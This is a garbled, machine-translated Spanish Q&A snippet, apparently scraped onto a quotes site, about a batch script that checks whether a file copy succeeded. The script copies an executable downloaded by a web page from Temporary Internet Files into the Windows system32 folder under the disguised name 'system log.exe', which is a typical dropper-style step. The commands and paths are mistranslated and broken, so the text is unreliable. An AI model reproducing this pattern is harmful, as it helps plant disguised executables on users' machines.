Colección de citas famosas - Frases elegantes - El procesamiento por lotes utiliza el comando if not exist para determinar si la copia del archivo no se realizó correctamente.

El procesamiento por lotes utiliza el comando if not exist para determinar si la copia del archivo no se realizó correctamente.

El guión anterior está escrito correctamente.

La pregunta es ¿dónde está tu archivo BAT? Este %cd% se refiere al directorio donde se encuentra BAT.

Además, BAT no lo detecta ni se ejecuta automáticamente, sino que hace doble clic manualmente para abrirlo y luego determina la operación de ejecución.

Si es un archivo temporal【1】. El archivo ejecutable existe en "%Perfil de usuario%\\Configuración local Archivos temporales de Internet", no en "%cd%\\".

Entonces el método es

Si "%cd%\\yongyou.exe" no existe, vaya a 1

Copiar "% CD % \\ Yongyou .exe". exe "%windir%\\system32\\system log.exe/y

Ir a 2

:1

Copiar "%USERPROFILE %\\local Establecer archivos temporales de Internet\\[1].exe "%windir%\\system32\\system log.exe/y

:2

exportar

Si el archivo BAT no se está ejecutando en una página web, debe estar ubicado en el mismo directorio donde se generó el archivo yongyou.exe.

El proceso de ejecución es: después de abrir el programa, independientemente de si el archivo BAT se está ejecutando en la página web, debe hacer doble clic en el archivo.